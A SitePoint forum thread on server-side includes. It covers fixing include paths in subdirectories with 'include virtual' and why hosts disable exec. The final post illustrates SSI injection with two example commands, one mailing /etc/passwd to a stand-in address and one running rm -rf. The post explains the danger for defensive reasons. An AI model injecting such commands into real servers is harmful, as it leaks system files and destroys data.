SitePoint Sponsor

User Tag List

Results 1 to 8 of 8
  1. #1
    SitePoint Addict
    Join Date
    May 2000
    Posts
    229
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I created a folder in my root directory and named it "ssi"

    When i call my ssi file i call it like so:
    Code:
    <!--#include file="ssi/file_name.html" -->
    When im in the root directory it works fine, but as soon as i go into a subdirectory it doesnt work.

    I get this:
    "[an error occurred while processing this directive]"

    Ive tried placing a "/" in front of the "ssi/file_name.html" with no luck

    the only way i have been successful is by placing a "ssi" folder copy into all the subdirectories... I know there must be a better way. someone please help me
    thank you so much

  2. #2
    Your Lord and Master, Foamy gold trophy Hierophant's Avatar
    Join Date
    Aug 1999
    Location
    Lancaster, Ca. USA
    Posts
    12,305
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Change file to virtual then use the "/"

    Code:
    <!--#include virtual="/ssi/file_name.html" -->
    Wayne Luke
    ------------


  3. #3
    SitePoint Addict
    Join Date
    May 2000
    Posts
    229
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    great!
    thank you very much luke

  4. #4
    Fluffy Kitten Programmer~ Elledan's Avatar
    Join Date
    Jun 2000
    Location
    Netherlands
    Posts
    1,356
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Could anyone tell me when you use 'file' in a SSI tag?
    www.nyanko.ws - My web-, software- and game development company.
    www.mayaposch.com - My personal site and blog.

  5. #5
    Your Lord and Master, Foamy gold trophy Hierophant's Avatar
    Join Date
    Aug 1999
    Location
    Lancaster, Ca. USA
    Posts
    12,305
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    You use "file" when you know the absolute path from the root of the device your on.
    Wayne Luke
    ------------


  6. #6
    Fluffy Kitten Programmer~ Elledan's Avatar
    Join Date
    Jun 2000
    Location
    Netherlands
    Posts
    1,356
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Ok, thanks, Wayne
    www.nyanko.ws - My web-, software- and game development company.
    www.mayaposch.com - My personal site and blog.

  7. #7
    AdSpeed.com Son Nguyen's Avatar
    Join Date
    Aug 2000
    Location
    Silicon Valley
    Posts
    2,241
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Lately, my host told me that because of security reason, they don't allow <!--#exec cgi... and replace by <!--#include virtual=...

    Could anybody tell me what problem could happen with exec cgi? and what the different with include virtual!
    - Son Nguyen
    AdSpeed.com - Ad Serving and Ad Management Made Easy

  8. #8
    Destiny Manager Plebius's Avatar
    Join Date
    Nov 1999
    Posts
    682
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Many hosts don't support the #exec in SSI for security reasons.

    EG: <!--#exec cmd="/bin/cat /etc/passwd | mail you@host.com"--> would mail the password file to you@host.com and depending on the server setup malicious users could insert that command, or any other command into a form and break into a system or cause other damage like deleting files. ( <!--#exec cmd="/bin/rm -rf *"--> )


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •